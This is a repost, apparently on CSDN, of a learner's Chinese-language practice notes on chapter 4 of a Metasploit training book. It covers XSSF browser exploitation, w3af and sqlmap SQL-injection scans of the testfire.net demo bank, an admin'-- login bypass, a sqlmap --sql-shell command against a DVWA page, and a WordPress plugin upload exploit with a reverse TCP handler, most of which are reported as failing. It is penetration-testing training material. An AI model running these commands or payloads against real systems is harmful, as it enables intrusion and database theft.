《Metasploit魔鬼训练营》第四章（下）

最新推荐文章于 2023-12-08 14:45:50 发布

weixin_30371469

最新推荐文章于 2023-12-08 14:45:50 发布

阅读量698

点赞数 1

文章标签： shell ruby 数据库

原文链接：http://www.cnblogs.com/justforfun12/p/5211907.html

版权

p163 XSSF

默认kali 2.0中没有xssf，先下载：https://code.google.com/archive/p/xssf/downloads

将下载下来的zip文件解压，将其中的data, plugins, lab等文件夹合并到/usr/share/metasploit-framework/中的相应文件夹，然后即可在msfconsole中load xssf。

按照书上的做，但是最后的攻击并没有成功！

msf auxiliary(browser_autopwn) > xssf_exploit 8 15
[*] Searching Metasploit launched module with JobID = '15'...
[+] A running exploit exists: 'Exploit: windows/browser/ie_createobject'
[*] Exploit execution started, press [CTRL + C] to stop it !

[+] Remaining victims to attack: [[1] (1)]  （停在这里一直不动）

^C[-] Exploit interrupted by the console user

p180 实践作业

1、探测www.testfire.net中存在的sql注入漏洞：

root@kali:~# w3af_console 
w3af>>> plugins
w3af/plugins>>> audit sqli 
w3af/plugins>>> crawl web_spider 
w3af/plugins>>> back
w3af>>> target
w3af/config:target>>> set target http://www.testfire.net/bank/login.aspx
w3af/config:target>>> back
The configuration has been saved.
w3af>>> plugins
w3af/plugins>>> output html_file 
w3af/plugins>>> output config html_file 
w3af/plugins/output/config:html_file>>> set verbose True 
w3af/plugins/output/config:html_file>>> back
The configuration has been saved.
w3af/plugins>>> back
w3af>>> start

成功扫出 8 URLs and 10 different injections points.

用sqlmap去扫

sqlmap -u "http://www.testfire.net/bank/login.aspx" --data "uid=Admin&passw=a&btnSubmit=Login"

检测出后台数据库的一些信息

在http://www.testfire.net/bank/login.aspx中通过构造 admin'-- 的输入，轻松登入。

但是要怎么进一步的获得数据库中的信息呢？我还没搞定。

2、照书本p163做即可

3、wXf下载地址： https://github.com/forced-request/wXf

下载后解压，切换至解压目录下，运行./console，提示

/usr/lib/ruby/2.2.0/rubygems/core_ext/kernel_require.rb:54:in `require': cannot load such file -- iconv (LoadError)

由于对ruby不太熟悉，网上的方法也看不太懂，暂且跳过。

4、我选择这个漏洞进行测试 https://www.exploit-db.com/exploits/37182/

然而得到的测试结果为：

[CRITICAL] all tested parameters appear to be not injectable.

不知道是不是后台服务器软件的版本问题。

5、不知道怎么弄。。先跳过

6、通过如下命令成功植入sql shell！

sqlmap -u 'http://www.dvssc.com/dvwa/vulnerabilities/sqli/?id=aa&Submit=Submit#'  --cookie='security=low; PHPSESSID=7918oeoatnur63rq8bokn88sd2' --sql-shell

7、p177

按照提示一步一步来，但是没有成功：

[*] Started reverse TCP handler on 10.10.10.128:4444 
[*] Successfully uploaded shell.
[*] Trying to access shell at <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>413 Request Entity Too Large</title>
</head><body>
<h1>Request Entity Too Large</h1>
The requested resource<br />/wordpress//wp-content/plugins/1-flash-gallery/upload.php<br />
does not allow request data with POST requests, or the amount of data provided in
the request exceeds the capacity limit.
</body></html>
...
[*] Exploit completed, but no session was created.

转载于:https://www.cnblogs.com/justforfun12/p/5211907.html

weixin_30371469

关注

1
点赞
踩
0

收藏

觉得还不错? 一键收藏
0
评论
《Metasploit魔鬼训练营》第四章（下）

p163 XSSF默认kali 2.0中没有xssf，先下载：https://code.google.com/archive/p/xssf/downloads将下载下来的zip文件解压，将其中的data, plugins, lab等文件夹合并到/usr/share/metasploit-framework/中的相应文件夹，然后即可在msfconsole中load xssf。按照书上的...
复制链接

扫一扫